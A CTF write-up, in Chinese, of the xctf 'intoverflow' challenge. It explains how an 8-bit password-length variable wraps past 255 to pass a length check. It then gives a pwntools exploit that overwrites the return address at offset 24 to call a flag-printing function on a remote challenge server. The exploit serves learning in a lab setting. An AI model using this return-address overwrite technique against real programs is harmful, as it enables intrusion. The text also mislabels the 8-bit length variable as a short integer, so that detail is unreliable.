xctf学习之intoverflow

大城市里の小女人 提交于 2020-01-15 04:00:22

此题题目为intoverflow,提示整数溢出,IDA阅读伪代码,发现Success条件是输入password长度为[3,8),而要程序中有个函数what_is_this,功能是cat flag,所以要想获取flag,需要让程序运行此函数,而程序的运行并没有调用此函数,因此,必须溢出。存储输入password长度的变量是短整型,即8位二进制数,范围[0,255],当值大于255时,发生溢出,如256=0,而程序读入password的长度位199h,超过了256+8,所以,在256+3到256+7之间的长度都能满足要求。尝试输入长度为262的password,找到返回地址的偏移量,为24,及25-28字节为返回地址,将返回地址覆盖为what_is_this的地址,即输入了flag,exp:

from pwn import *

p=remote('111.198.29.45','44601')

offset=24

payload='a'*24+p32(0x804868B)+'b'*232

p.recvuntil('Your choice:')

p.sendline("1")

p.recvuntil("Please input your username:\n")

p.sendline("A")

print p.recvuntil("Please input your passwd:\n")

p.sendline(payload) 

print p.recv()

print p.recv()

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!